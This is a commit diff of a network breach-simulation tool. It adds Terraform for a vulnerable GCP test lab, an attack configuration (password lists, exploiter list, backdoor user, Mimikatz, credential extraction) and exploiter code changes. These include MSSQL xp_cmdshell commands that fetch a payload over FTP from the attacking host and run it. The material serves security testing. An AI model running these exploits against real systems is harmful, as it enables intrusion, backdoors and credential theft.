Merge branch 'develop' into master

This commit is contained in:
Shay Nehmad 2019-04-24 10:46:11 +03:00 committed by GitHub
commit 08a7b1f91f
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
59 changed files with 3067 additions and 139 deletions

15
.gitignore vendored
View File

@ -68,3 +68,18 @@ bin
/monkey/monkey_island/cc/server.crt
/monkey/monkey_island/cc/server.csr
/monkey/monkey_island/cc/ui/node_modules/
# User files
/monkey/monkey_island/cc/userUploads
# MonkeyZoo
# Network status files
MonkeyZoo/*
# Except
!MonkeyZoo/main.tf
!MonkeyZoo/variables.tf
!MonkeyZoo/README.MD
!MonkeyZoo/config.tf
!MonkeyZoo/MonkeyZooDocs.pdf

View File

@ -0,0 +1,3 @@
# MonkeyZoo
These files are used to deploy Infection Monkey's test network on GCP.<br>
For more information view docs/fullDocs.md

View File

@ -0,0 +1,206 @@
{
"basic": {
"credentials": {
"exploit_password_list": [
"`))jU7L(w}",
"3Q=(Ge(+&w]*",
"^NgDvY59~8",
"Ivrrw5zEzs",
"YbS,<tpS.2av"
],
"exploit_user_list": [
"m0nk3y"
]
}
},
"basic_network": {
"general": {
"blocked_ips": [],
"depth": 2,
"local_network_scan": false,
"subnet_scan_list": [
"10.2.2.2",
"10.2.2.3",
"10.2.2.4",
"10.2.2.5",
"10.2.2.8",
"10.2.2.9",
"10.2.1.9",
"10.2.1.10",
"10.2.2.11",
"10.2.2.12",
"10.2.2.14",
"10.2.2.15",
"10.2.2.16",
"10.2.2.18",
"10.2.2.19",
"10.2.2.20",
"10.2.2.21",
"10.2.2.23",
"10.2.2.24"
]
},
"network_analysis": {
"inaccessible_subnets": []
}
},
"cnc": {
"servers": {
"command_servers": [
"192.168.56.1:5000",
"158.129.18.132:5000"
],
"current_server": "192.168.56.1:5000",
"internet_services": [
"monkey.guardicore.com",
"www.google.com"
]
}
},
"exploits": {
"general": {
"exploiter_classes": [
"SmbExploiter",
"WmiExploiter",
"RdpExploiter",
"ShellShockExploiter",
"SambaCryExploiter",
"ElasticGroovyExploiter",
"Struts2Exploiter",
"WebLogicExploiter",
"HadoopExploiter"
],
"skip_exploit_if_file_exist": false
},
"ms08_067": {
"ms08_067_exploit_attempts": 5,
"ms08_067_remote_user_add": "Monkey_IUSER_SUPPORT",
"ms08_067_remote_user_pass": "Password1!",
"remote_user_pass": "Password1!",
"user_to_add": "Monkey_IUSER_SUPPORT"
},
"rdp_grinder": {
"rdp_use_vbs_download": true
},
"sambacry": {
"sambacry_folder_paths_to_guess": [
"/",
"/mnt",
"/tmp",
"/storage",
"/export",
"/share",
"/shares",
"/home"
],
"sambacry_shares_not_to_check": [
"IPC$",
"print$"
],
"sambacry_trigger_timeout": 5
},
"smb_service": {
"smb_download_timeout": 300,
"smb_service_name": "InfectionMonkey"
}
},
"internal": {
"classes": {
"finger_classes": [
"SMBFinger",
"SSHFinger",
"PingScanner",
"HTTPFinger",
"MySQLFinger",
"MSSQLFinger",
"ElasticFinger"
],
"scanner_class": "TcpScanner"
},
"dropper": {
"dropper_date_reference_path_linux": "/bin/sh",
"dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll",
"dropper_set_date": true,
"dropper_target_path_linux": "/tmp/monkey",
"dropper_target_path_win_32": "C:\\Windows\\monkey32.exe",
"dropper_target_path_win_64": "C:\\Windows\\monkey64.exe",
"dropper_try_move_first": true
},
"exploits": {
"exploit_lm_hash_list": [],
"exploit_ntlm_hash_list": [],
"exploit_ssh_keys": []
},
"general": {
"keep_tunnel_open_time": 60,
"singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}"
},
"kill_file": {
"kill_file_path_linux": "/var/run/monkey.not",
"kill_file_path_windows": "%windir%\\monkey.not"
},
"logging": {
"dropper_log_path_linux": "/tmp/user-1562",
"dropper_log_path_windows": "%temp%\\~df1562.tmp",
"monkey_log_path_linux": "/tmp/user-1563",
"monkey_log_path_windows": "%temp%\\~df1563.tmp",
"send_log_to_server": true
}
},
"monkey": {
"behaviour": {
"self_delete_in_cleanup": false,
"serialize_config": false,
"use_file_logging": true
},
"general": {
"alive": true,
"post_breach_actions": [
"BackdoorUser"
]
},
"life_cycle": {
"max_iterations": 1,
"retry_failed_explotation": true,
"timeout_between_iterations": 100,
"victims_max_exploit": 30,
"victims_max_find": 30
},
"system_info": {
"collect_system_info": true,
"extract_azure_creds": true,
"should_use_mimikatz": true
}
},
"network": {
"ping_scanner": {
"ping_scan_timeout": 1000
},
"tcp_scanner": {
"HTTP_PORTS": [
80,
8080,
443,
8008,
7001
],
"tcp_scan_get_banner": true,
"tcp_scan_interval": 200,
"tcp_scan_timeout": 3000,
"tcp_target_ports": [
22,
2222,
445,
135,
3389,
80,
8080,
443,
8008,
3306,
9200,
7001
]
}
}
}

File diff suppressed because it is too large Load Diff

Binary file not shown.

After

Width:  |  Height:  |  Size: 225 KiB

View File

@ -0,0 +1,10 @@
provider "google" {
project = "test-000000"
region = "europe-west3"
zone = "europe-west3-b"
credentials = "${file("testproject-000000-0c0b000b00c0.json")}"
}
locals {
service_account_email="tester-monkeyZoo-user@testproject-000000.iam.gserviceaccount.com"
monkeyzoo_project="guardicore-22050661"
}

View File

@ -0,0 +1,76 @@
resource "google_compute_firewall" "islands-in" {
name = "islands-in"
network = "${google_compute_network.monkeyzoo.name}"
allow {
protocol = "tcp"
ports = ["22", "443", "3389", "5000"]
}
direction = "INGRESS"
priority = "65534"
target_tags = ["island"]
}
resource "google_compute_firewall" "islands-out" {
name = "islands-out"
network = "${google_compute_network.monkeyzoo.name}"
allow {
protocol = "tcp"
}
direction = "EGRESS"
priority = "65534"
target_tags = ["island"]
}
resource "google_compute_firewall" "monkeyzoo-in" {
name = "monkeyzoo-in"
network = "${google_compute_network.monkeyzoo.name}"
allow {
protocol = "all"
}
direction = "INGRESS"
priority = "65534"
source_ranges = ["10.2.2.0/24"]
}
resource "google_compute_firewall" "monkeyzoo-out" {
name = "monkeyzoo-out"
network = "${google_compute_network.monkeyzoo.name}"
allow {
protocol = "all"
}
direction = "EGRESS"
priority = "65534"
destination_ranges = ["10.2.2.0/24"]
}
resource "google_compute_firewall" "tunneling-in" {
name = "tunneling-in"
network = "${google_compute_network.tunneling.name}"
allow {
protocol = "all"
}
direction = "INGRESS"
source_ranges = ["10.2.1.0/28"]
}
resource "google_compute_firewall" "tunneling-out" {
name = "tunneling-out"
network = "${google_compute_network.tunneling.name}"
allow {
protocol = "all"
}
direction = "EGRESS"
destination_ranges = ["10.2.1.0/28"]
}

View File

@ -0,0 +1,91 @@
//Custom cloud images
data "google_compute_image" "hadoop-2" {
name = "hadoop-2"
project = "${local.monkeyzoo_project}"
}
data "google_compute_image" "hadoop-3" {
name = "hadoop-3"
project = "${local.monkeyzoo_project}"
}
data "google_compute_image" "elastic-4" {
name = "elastic-4"
project = "${local.monkeyzoo_project}"
}
data "google_compute_image" "elastic-5" {
name = "elastic-5"
project = "${local.monkeyzoo_project}"
}
/*
data "google_compute_image" "sambacry-6" {
name = "sambacry-6"
}
*/
data "google_compute_image" "shellshock-8" {
name = "shellshock-8"
project = "${local.monkeyzoo_project}"
}
data "google_compute_image" "tunneling-9" {
name = "tunneling-9-v2"
project = "${local.monkeyzoo_project}"
}
data "google_compute_image" "tunneling-10" {
name = "tunneling-10-v2"
project = "${local.monkeyzoo_project}"
}
data "google_compute_image" "sshkeys-11" {
name = "sshkeys-11-v2"
project = "${local.monkeyzoo_project}"
}
data "google_compute_image" "sshkeys-12" {
name = "sshkeys-12-v2"
project = "${local.monkeyzoo_project}"
}
data "google_compute_image" "mimikatz-14" {
name = "mimikatz-14-v2"
project = "${local.monkeyzoo_project}"
}
data "google_compute_image" "mimikatz-15" {
name = "mimikatz-15"
project = "${local.monkeyzoo_project}"
}
data "google_compute_image" "mssql-16" {
name = "mssql-16"
project = "${local.monkeyzoo_project}"
}
data "google_compute_image" "weblogic-18" {
name = "weblogic-18"
project = "${local.monkeyzoo_project}"
}
data "google_compute_image" "weblogic-19" {
name = "weblogic-19-v2"
project = "${local.monkeyzoo_project}"
}
data "google_compute_image" "smb-20" {
name = "smb-20"
project = "${local.monkeyzoo_project}"
}
data "google_compute_image" "scan-21" {
name = "scan-21"
project = "${local.monkeyzoo_project}"
}
data "google_compute_image" "scan-22" {
name = "scan-22"
project = "${local.monkeyzoo_project}"
}
data "google_compute_image" "struts2-23" {
name = "struts2-23"
project = "${local.monkeyzoo_project}"
}
data "google_compute_image" "struts2-24" {
name = "struts-24-v2"
project = "${local.monkeyzoo_project}"
}
data "google_compute_image" "island-linux-250" {
name = "island-linux-250"
project = "${local.monkeyzoo_project}"
}
data "google_compute_image" "island-windows-251" {
name = "island-windows-251"
project = "${local.monkeyzoo_project}"
}

View File

@ -0,0 +1,431 @@
// Local variables
locals {
default_ubuntu="${google_compute_instance_template.ubuntu16.self_link}"
default_windows="${google_compute_instance_template.windows2016.self_link}"
}
resource "google_compute_network" "monkeyzoo" {
name = "monkeyzoo"
auto_create_subnetworks = false
}
resource "google_compute_network" "tunneling" {
name = "tunneling"
auto_create_subnetworks = false
}
resource "google_compute_subnetwork" "monkeyzoo-main" {
name = "monkeyzoo-main"
ip_cidr_range = "10.2.2.0/24"
network = "${google_compute_network.monkeyzoo.self_link}"
}
resource "google_compute_subnetwork" "tunneling-main" {
name = "tunneling-main"
ip_cidr_range = "10.2.1.0/28"
network = "${google_compute_network.tunneling.self_link}"
}
resource "google_compute_instance_from_template" "hadoop-2" {
name = "hadoop-2"
source_instance_template = "${local.default_ubuntu}"
boot_disk{
initialize_params {
image = "${data.google_compute_image.hadoop-2.self_link}"
}
auto_delete = true
}
network_interface {
subnetwork="monkeyzoo-main"
network_ip="10.2.2.2"
}
// Add required ssh keys for hadoop service and restart it
metadata_startup_script = "[ ! -f /home/vakaris_zilius/.ssh/authorized_keys ] && sudo cat /home/vakaris_zilius/.ssh/id_rsa.pub >> /home/vakaris_zilius/.ssh/authorized_keys && sudo reboot"
}
resource "google_compute_instance_from_template" "hadoop-3" {
name = "hadoop-3"
source_instance_template = "${local.default_windows}"
boot_disk{
initialize_params {
image = "${data.google_compute_image.hadoop-3.self_link}"
}
auto_delete = true
}
network_interface {
subnetwork="monkeyzoo-main"
network_ip="10.2.2.3"
}
}
resource "google_compute_instance_from_template" "elastic-4" {
name = "elastic-4"
source_instance_template = "${local.default_ubuntu}"
boot_disk{
initialize_params {
image = "${data.google_compute_image.elastic-4.self_link}"
}
auto_delete = true
}
network_interface {
subnetwork="monkeyzoo-main"
network_ip="10.2.2.4"
}
}
resource "google_compute_instance_from_template" "elastic-5" {
name = "elastic-5"
source_instance_template = "${local.default_windows}"
boot_disk{
initialize_params {
image = "${data.google_compute_image.elastic-5.self_link}"
}
auto_delete = true
}
network_interface {
subnetwork="monkeyzoo-main"
network_ip="10.2.2.5"
}
}
/* Couldn't find ubuntu packages for required samba version (too old).
resource "google_compute_instance_from_template" "sambacry-6" {
name = "sambacry-6"
source_instance_template = "${local.default_ubuntu}"
boot_disk{
initialize_params {
image = "${data.google_compute_image.sambacry-6.self_link}"
}
}
network_interface {
subnetwork="monkeyzoo-main"
network_ip="10.2.2.6"
}
}
*/
/* We need custom 32 bit Ubuntu machine for this (there are no 32 bit ubuntu machines in GCP).
resource "google_compute_instance_from_template" "sambacry-7" {
name = "sambacry-7"
source_instance_template = "${local.default_ubuntu}"
boot_disk {
initialize_params {
// Add custom image to cloud
image = "ubuntu32"
}
}
network_interface {
subnetwork="monkeyzoo-main"
network_ip="10.2.2.7"
}
}
*/
resource "google_compute_instance_from_template" "shellshock-8" {
name = "shellshock-8"
source_instance_template = "${local.default_ubuntu}"
boot_disk{
initialize_params {
image = "${data.google_compute_image.shellshock-8.self_link}"
}
auto_delete = true
}
network_interface {
subnetwork="monkeyzoo-main"
network_ip="10.2.2.8"
}
}
resource "google_compute_instance_from_template" "tunneling-9" {
name = "tunneling-9"
source_instance_template = "${local.default_ubuntu}"
boot_disk{
initialize_params {
image = "${data.google_compute_image.tunneling-9.self_link}"
}
auto_delete = true
}
network_interface{
subnetwork="tunneling-main"
network_ip="10.2.1.9"
}
network_interface{
subnetwork="monkeyzoo-main"
network_ip="10.2.2.9"
}
}
resource "google_compute_instance_from_template" "tunneling-10" {
name = "tunneling-10"
source_instance_template = "${local.default_ubuntu}"
boot_disk{
initialize_params {
image = "${data.google_compute_image.tunneling-10.self_link}"
}
auto_delete = true
}
network_interface{
subnetwork="tunneling-main"
network_ip="10.2.1.10"
}
}
resource "google_compute_instance_from_template" "sshkeys-11" {
name = "sshkeys-11"
source_instance_template = "${local.default_ubuntu}"
boot_disk{
initialize_params {
image = "${data.google_compute_image.sshkeys-11.self_link}"
}
auto_delete = true
}
network_interface {
subnetwork="monkeyzoo-main"
network_ip="10.2.2.11"
}
}
resource "google_compute_instance_from_template" "sshkeys-12" {
name = "sshkeys-12"
source_instance_template = "${local.default_ubuntu}"
boot_disk{
initialize_params {
image = "${data.google_compute_image.sshkeys-12.self_link}"
}
auto_delete = true
}
network_interface {
subnetwork="monkeyzoo-main"
network_ip="10.2.2.12"
}
}
/*
resource "google_compute_instance_from_template" "rdpgrinder-13" {
name = "rdpgrinder-13"
source_instance_template = "${local.default_windows}"
boot_disk{
initialize_params {
image = "${data.google_compute_image.rdpgrinder-13.self_link}"
}
}
network_interface {
subnetwork="monkeyzoo-main"
network_ip="10.2.2.13"
}
}
*/
resource "google_compute_instance_from_template" "mimikatz-14" {
name = "mimikatz-14"
source_instance_template = "${local.default_windows}"
boot_disk{
initialize_params {
image = "${data.google_compute_image.mimikatz-14.self_link}"
}
auto_delete = true
}
network_interface {
subnetwork="monkeyzoo-main"
network_ip="10.2.2.14"
}
}
resource "google_compute_instance_from_template" "mimikatz-15" {
name = "mimikatz-15"
source_instance_template = "${local.default_windows}"
boot_disk{
initialize_params {
image = "${data.google_compute_image.mimikatz-15.self_link}"
}
auto_delete = true
}
network_interface {
subnetwork="monkeyzoo-main"
network_ip="10.2.2.15"
}
}
resource "google_compute_instance_from_template" "mssql-16" {
name = "mssql-16"
source_instance_template = "${local.default_windows}"
boot_disk{
initialize_params {
image = "${data.google_compute_image.mssql-16.self_link}"
}
auto_delete = true
}
network_interface {
subnetwork="monkeyzoo-main"
network_ip="10.2.2.16"
}
}
/* We need to alter monkey's behavior for this to upload 32-bit monkey instead of 64-bit (not yet developed)
resource "google_compute_instance_from_template" "upgrader-17" {
name = "upgrader-17"
source_instance_template = "${local.default_windows}"
boot_disk{
initialize_params {
image = "${data.google_compute_image.upgrader-17.self_link}"
}
}
network_interface {
subnetwork="monkeyzoo-main"
network_ip="10.2.2.17"
access_config {
// Cheaper, non-premium routing
network_tier = "STANDARD"
}
}
}
*/
resource "google_compute_instance_from_template" "weblogic-18" {
name = "weblogic-18"
source_instance_template = "${local.default_ubuntu}"
boot_disk{
initialize_params {
image = "${data.google_compute_image.weblogic-18.self_link}"
}
auto_delete = true
}
network_interface {
subnetwork="monkeyzoo-main"
network_ip="10.2.2.18"
}
}
resource "google_compute_instance_from_template" "weblogic-19" {
name = "weblogic-19"
source_instance_template = "${local.default_windows}"
boot_disk{
initialize_params {
image = "${data.google_compute_image.weblogic-19.self_link}"
}
auto_delete = true
}
network_interface {
subnetwork="monkeyzoo-main"
network_ip="10.2.2.19"
}
}
resource "google_compute_instance_from_template" "smb-20" {
name = "smb-20"
source_instance_template = "${local.default_windows}"
boot_disk{
initialize_params {
image = "${data.google_compute_image.smb-20.self_link}"
}
auto_delete = true
}
network_interface {
subnetwork="monkeyzoo-main"
network_ip="10.2.2.20"
}
}
resource "google_compute_instance_from_template" "scan-21" {
name = "scan-21"
source_instance_template = "${local.default_ubuntu}"
boot_disk{
initialize_params {
image = "${data.google_compute_image.scan-21.self_link}"
}
auto_delete = true
}
network_interface {
subnetwork="monkeyzoo-main"
network_ip="10.2.2.21"
}
}
resource "google_compute_instance_from_template" "scan-22" {
name = "scan-22"
source_instance_template = "${local.default_windows}"
boot_disk{
initialize_params {
image = "${data.google_compute_image.scan-22.self_link}"
}
auto_delete = true
}
network_interface {
subnetwork="monkeyzoo-main"
network_ip="10.2.2.22"
}
}
resource "google_compute_instance_from_template" "struts2-23" {
name = "struts2-23"
source_instance_template = "${local.default_ubuntu}"
boot_disk{
initialize_params {
image = "${data.google_compute_image.struts2-23.self_link}"
}
auto_delete = true
}
network_interface {
subnetwork="monkeyzoo-main"
network_ip="10.2.2.23"
}
}
resource "google_compute_instance_from_template" "struts2-24" {
name = "struts2-24"
source_instance_template = "${local.default_windows}"
boot_disk{
initialize_params {
image = "${data.google_compute_image.struts2-24.self_link}"
}
auto_delete = true
}
network_interface {
subnetwork="monkeyzoo-main"
network_ip="10.2.2.24"
}
}
resource "google_compute_instance_from_template" "island-linux-250" {
name = "island-linux-250"
machine_type = "n1-standard-2"
tags = ["island", "linux", "ubuntu16"]
source_instance_template = "${local.default_ubuntu}"
boot_disk{
initialize_params {
image = "${data.google_compute_image.island-linux-250.self_link}"
}
auto_delete = true
}
network_interface {
subnetwork="monkeyzoo-main"
network_ip="10.2.2.250"
access_config {
// Cheaper, non-premium routing (not available in some regions)
// network_tier = "STANDARD"
}
}
}
resource "google_compute_instance_from_template" "island-windows-251" {
name = "island-windows-251"
machine_type = "n1-standard-2"
tags = ["island", "windows", "windowsserver2016"]
source_instance_template = "${local.default_windows}"
boot_disk{
initialize_params {
image = "${data.google_compute_image.island-windows-251.self_link}"
}
auto_delete = true
}
network_interface {
subnetwork="monkeyzoo-main"
network_ip="10.2.2.251"
access_config {
// Cheaper, non-premium routing (not available in some regions)
// network_tier = "STANDARD"
}
}
}

View File

@ -0,0 +1,45 @@
resource "google_compute_instance_template" "ubuntu16" {
name = "ubuntu16"
description = "Creates ubuntu 16.04 LTS servers at europe-west3-a."
tags = ["test-machine", "ubuntu16", "linux"]
machine_type = "n1-standard-1"
can_ip_forward = false
disk {
source_image = "ubuntu-os-cloud/ubuntu-1604-lts"
}
network_interface {
subnetwork="monkeyzoo-main"
access_config {
// Cheaper, non-premium routing
network_tier = "STANDARD"
}
}
service_account {
email ="${local.service_account_email}"
scopes=["cloud-platform"]
}
}
resource "google_compute_instance_template" "windows2016" {
name = "windows2016"
description = "Creates windows 2016 core servers at europe-west3-a."
tags = ["test-machine", "windowsserver2016", "windows"]
machine_type = "n1-standard-1"
can_ip_forward = false
disk {
source_image = "windows-cloud/windows-2016"
}
network_interface {
subnetwork="monkeyzoo-main"
}
service_account {
email="${local.service_account_email}"
scopes=["cloud-platform"]
}
}

View File

@ -0,0 +1,10 @@
from enum import Enum
class ScanStatus(Enum):
# Technique wasn't scanned
UNSCANNED = 0
# Technique was attempted/scanned
SCANNED = 1
# Technique was attempted and succeeded
USED = 2

View File

@ -0,0 +1,7 @@
from enum import Enum
class ExploitType(Enum):
VULNERABILITY = 1
OTHER = 8
BRUTE_FORCE = 9

View File

@ -161,6 +161,10 @@ class Configuration(object):
keep_tunnel_open_time = 60
# Monkey files directories
monkey_dir_linux = '/tmp/monkey_dir'
monkey_dir_windows = r'C:\Windows\Temp\monkey_dir'
###########################
# scanners config
###########################
@ -267,6 +271,10 @@ class Configuration(object):
extract_azure_creds = True
post_breach_actions = []
custom_PBA_linux_cmd = ""
custom_PBA_windows_cmd = ""
PBA_linux_filename = None
PBA_windows_filename = None
WormConfiguration = Configuration()

View File

@ -8,7 +8,7 @@
],
"keep_tunnel_open_time": 60,
"subnet_scan_list": [
],
"inaccessible_subnets": [],
"blocked_ips": [],
@ -28,6 +28,9 @@
"dropper_target_path_win_64": "C:\\Windows\\monkey64.exe",
"dropper_target_path_linux": "/tmp/monkey",
monkey_dir_linux = '/tmp/monkey_dir',
monkey_dir_windows = r'C:\Windows\Temp\monkey_dir',
"kill_file_path_linux": "/var/run/monkey.not",
"kill_file_path_windows": "%windir%\\monkey.not",
@ -98,4 +101,8 @@
"victims_max_exploit": 7,
"victims_max_find": 30,
"post_breach_actions" : []
custom_PBA_linux_cmd = ""
custom_PBA_windows_cmd = ""
PBA_linux_filename = None
PBA_windows_filename = None
}

View File

@ -1,5 +1,6 @@
from abc import ABCMeta, abstractmethod
import infection_monkey.config
from common.utils.exploit_enum import ExploitType
__author__ = 'itamar'
@ -9,6 +10,9 @@ class HostExploiter(object):
_TARGET_OS_TYPE = []
# Usual values are 'vulnerability' or 'brute_force'
EXPLOIT_TYPE = ExploitType.VULNERABILITY
def __init__(self, host):
self._config = infection_monkey.config.WormConfiguration
self._exploit_info = {}

View File

@ -8,7 +8,8 @@ import json
import logging
import requests
from infection_monkey.exploit.web_rce import WebRCE
from infection_monkey.model import WGET_HTTP_UPLOAD, RDP_CMDLINE_HTTP, CHECK_COMMAND, ID_STRING, CMD_PREFIX
from infection_monkey.model import WGET_HTTP_UPLOAD, RDP_CMDLINE_HTTP, CHECK_COMMAND, ID_STRING, CMD_PREFIX,\
DOWNLOAD_TIMEOUT
from infection_monkey.network.elasticfinger import ES_PORT, ES_SERVICE
import re
@ -47,7 +48,11 @@ class ElasticGroovyExploiter(WebRCE):
def exploit(self, url, command):
command = re.sub(r"\\", r"\\\\\\\\", command)
payload = self.JAVA_CMD % command
response = requests.get(url, data=payload)
try:
response = requests.get(url, data=payload, timeout=DOWNLOAD_TIMEOUT)
except requests.ReadTimeout:
LOG.error("Elastic couldn't upload monkey, because server didn't respond to upload request.")
return False
result = self.get_results(response)
if not result:
return False
@ -79,4 +84,4 @@ class ElasticGroovyExploiter(WebRCE):
return False
except Exception as e:
LOG.error("Host's exploitability check failed due to: %s" % e)
return False
return False

View File

@ -1,11 +1,10 @@
import os
import platform
from os import path
import logging
import pymssql
from infection_monkey.exploit import HostExploiter, mssqlexec_utils
from common.utils.exploit_enum import ExploitType
__author__ = 'Maor Rayzin'
@ -15,10 +14,11 @@ LOG = logging.getLogger(__name__)
class MSSQLExploiter(HostExploiter):
_TARGET_OS_TYPE = ['windows']
EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
LOGIN_TIMEOUT = 15
SQL_DEFAULT_TCP_PORT = '1433'
DEFAULT_PAYLOAD_PATH_WIN = os.path.expandvars(r'%TEMP%\~PLD123.bat')
DEFAULT_PAYLOAD_PATH_LINUX = '/tmp/~PLD123.bat'
DEFAULT_PAYLOAD_PATH_WIN = os.path.expandvars(r'~PLD123.bat')
DEFAULT_PAYLOAD_PATH_LINUX = '~PLD123.bat'
def __init__(self, host):
super(MSSQLExploiter, self).__init__(host)
@ -60,7 +60,6 @@ class MSSQLExploiter(HostExploiter):
return False
def handle_payload(self, cursor, payload):
"""
Handles the process of payload sending and execution, prepares the attack and details.
@ -72,7 +71,7 @@ class MSSQLExploiter(HostExploiter):
True or False depends on process success
"""
chosen_attack = self.attacks_list[0](payload, cursor, self.host.ip_addr)
chosen_attack = self.attacks_list[0](payload, cursor, self.host)
if chosen_attack.send_payload():
LOG.debug('Payload: {0} has been successfully sent to host'.format(payload))

View File

@ -8,6 +8,7 @@ from infection_monkey.exploit.tools import get_interface_to_target
from pyftpdlib.authorizers import DummyAuthorizer
from pyftpdlib.handlers import FTPHandler
from pyftpdlib.servers import FTPServer
from time import sleep
__author__ = 'Maor Rayzin'
@ -17,7 +18,8 @@ FTP_SERVER_PORT = 1026
FTP_SERVER_ADDRESS = ''
FTP_SERVER_USER = 'brute'
FTP_SERVER_PASSWORD = 'force'
FTP_WORKING_DIR = '.'
FTP_WORK_DIR_WINDOWS = os.path.expandvars(r'%TEMP%/')
FTP_WORK_DIR_LINUX = '/tmp/'
LOG = logging.getLogger(__name__)
@ -30,37 +32,29 @@ class FTP(object):
user (str): User for FTP server auth
password (str): Password for FTP server auth
working_dir (str): The local working dir to init the ftp server on.
"""
def __init__(self, user=FTP_SERVER_USER, password=FTP_SERVER_PASSWORD,
working_dir=FTP_WORKING_DIR):
def __init__(self, host, user=FTP_SERVER_USER, password=FTP_SERVER_PASSWORD):
"""Look at class level docstring."""
self.dst_ip = host.ip_addr
self.user = user
self.password = password
self.working_dir = working_dir
self.working_dir = FTP_WORK_DIR_LINUX if 'linux' in host.os['type'] else FTP_WORK_DIR_WINDOWS
def run_server(self, user=FTP_SERVER_USER, password=FTP_SERVER_PASSWORD,
working_dir=FTP_WORKING_DIR):
def run_server(self):
""" Configures and runs the ftp server to listen forever until stopped.
Args:
user (str): User for FTP server auth
password (str): Password for FTP server auth
working_dir (str): The local working dir to init the ftp server on.
"""
# Defining an authorizer and configuring the ftp user
authorizer = DummyAuthorizer()
authorizer.add_user(user, password, working_dir, perm='elradfmw')
authorizer.add_user(self.user, self.password, self.working_dir, perm='elr')
# Normal ftp handler
handler = FTPHandler
handler.authorizer = authorizer
address = (FTP_SERVER_ADDRESS, FTP_SERVER_PORT)
address = (get_interface_to_target(self.dst_ip), FTP_SERVER_PORT)
# Configuring the server using the address and handler. Global usage in stop_server thats why using self keyword
self.server = FTPServer(address, handler)
@ -100,14 +94,15 @@ class CmdShellAttack(AttackHost):
Args:
payload_path (str): The local path of the payload file
cursor (pymssql.conn.obj): A cursor object from pymssql.connect to run commands with.
host (model.host.VictimHost): Host this attack is going to target
"""
def __init__(self, payload_path, cursor, dst_ip_address):
def __init__(self, payload_path, cursor, host):
super(CmdShellAttack, self).__init__(payload_path)
self.ftp_server, self.ftp_server_p = self.__init_ftp_server()
self.ftp_server, self.ftp_server_p = self.__init_ftp_server(host)
self.cursor = cursor
self.attacker_ip = get_interface_to_target(dst_ip_address)
self.attacker_ip = get_interface_to_target(host.ip_addr)
def send_payload(self):
"""
@ -121,7 +116,6 @@ class CmdShellAttack(AttackHost):
shellcmd1 = """xp_cmdshell "mkdir c:\\tmp& chdir c:\\tmp& echo open {0} {1}>ftp.txt& \
echo {2}>>ftp.txt" """.format(self.attacker_ip, FTP_SERVER_PORT, FTP_SERVER_USER)
shellcmd2 = """xp_cmdshell "chdir c:\\tmp& echo {0}>>ftp.txt" """.format(FTP_SERVER_PASSWORD)
shellcmd3 = """xp_cmdshell "chdir c:\\tmp& echo get {0}>>ftp.txt& echo bye>>ftp.txt" """\
.format(self.payload_path)
shellcmd4 = """xp_cmdshell "chdir c:\\tmp& cmd /c ftp -s:ftp.txt" """
@ -129,11 +123,11 @@ class CmdShellAttack(AttackHost):
# Checking to see if ftp server is up
if self.ftp_server_p and self.ftp_server:
try:
# Running the cmd on remote host
for cmd in shellcmds:
self.cursor.execute(cmd)
sleep(0.5)
except Exception as e:
LOG.error('Error sending the payload using xp_cmdshell to host', exc_info=True)
self.ftp_server_p.terminate()
@ -174,7 +168,7 @@ class CmdShellAttack(AttackHost):
self.ftp_server_p.terminate()
return False
except pymssql.OperationalError:
except pymssql.OperationalError as e:
LOG.error('Executing payload: {0} failed'.format(payload_file_name), exc_info=True)
self.ftp_server_p.terminate()
return False
@ -193,7 +187,7 @@ class CmdShellAttack(AttackHost):
LOG.error('Error cleaning the attack files using xp_cmdshell, files may remain on host', exc_info=True)
return False
def __init_ftp_server(self):
def __init_ftp_server(self, host):
"""
Init an FTP server using FTP class on a different process
@ -203,7 +197,7 @@ class CmdShellAttack(AttackHost):
"""
try:
ftp_s = FTP()
ftp_s = FTP(host)
multiprocessing.log_to_stderr(logging.DEBUG)
p = multiprocessing.Process(target=ftp_s.run_server)
p.start()

View File

@ -16,6 +16,7 @@ from infection_monkey.model import RDP_CMDLINE_HTTP_BITS, RDP_CMDLINE_HTTP_VBS
from infection_monkey.network.tools import check_tcp_port
from infection_monkey.exploit.tools import build_monkey_commandline
from infection_monkey.utils import utf_to_ascii
from common.utils.exploit_enum import ExploitType
__author__ = 'hoffer'
@ -235,6 +236,7 @@ class CMDClientFactory(rdp.ClientFactory):
class RdpExploiter(HostExploiter):
_TARGET_OS_TYPE = ['windows']
EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
def __init__(self, host):
super(RdpExploiter, self).__init__(host)

View File

@ -9,12 +9,14 @@ from infection_monkey.model import MONKEY_CMDLINE_DETACHED_WINDOWS, DROPPER_CMDL
from infection_monkey.network import SMBFinger
from infection_monkey.network.tools import check_tcp_port
from infection_monkey.exploit.tools import build_monkey_commandline
from common.utils.exploit_enum import ExploitType
LOG = getLogger(__name__)
class SmbExploiter(HostExploiter):
_TARGET_OS_TYPE = ['windows']
EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
KNOWN_PROTOCOLS = {
'139/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 139),
'445/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 445),

View File

@ -10,6 +10,7 @@ from infection_monkey.exploit.tools import get_target_monkey, get_monkey_depth
from infection_monkey.model import MONKEY_ARG
from infection_monkey.network.tools import check_tcp_port
from infection_monkey.exploit.tools import build_monkey_commandline
from common.utils.exploit_enum import ExploitType
__author__ = 'hoffer'
@ -20,6 +21,7 @@ TRANSFER_UPDATE_RATE = 15
class SSHExploiter(HostExploiter):
_TARGET_OS_TYPE = ['linux', None]
EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
def __init__(self, host):
super(SSHExploiter, self).__init__(host)

View File

@ -7,7 +7,6 @@ import socket
import struct
import sys
import urllib
from difflib import get_close_matches
from impacket.dcerpc.v5 import transport, srvs
from impacket.dcerpc.v5.dcom import wmi
@ -19,7 +18,6 @@ from impacket.smbconnection import SMBConnection, SMB_DIALECT
import infection_monkey.config
import infection_monkey.monkeyfs as monkeyfs
from infection_monkey.network import local_ips
from infection_monkey.network.firewall import app as firewall
from infection_monkey.network.info import get_free_tcp_port, get_routes
from infection_monkey.transport import HTTPServer, LockedHTTPServer
@ -418,9 +416,15 @@ class HTTPTools(object):
def get_interface_to_target(dst):
if sys.platform == "win32":
ips = local_ips()
matches = get_close_matches(dst, ips)
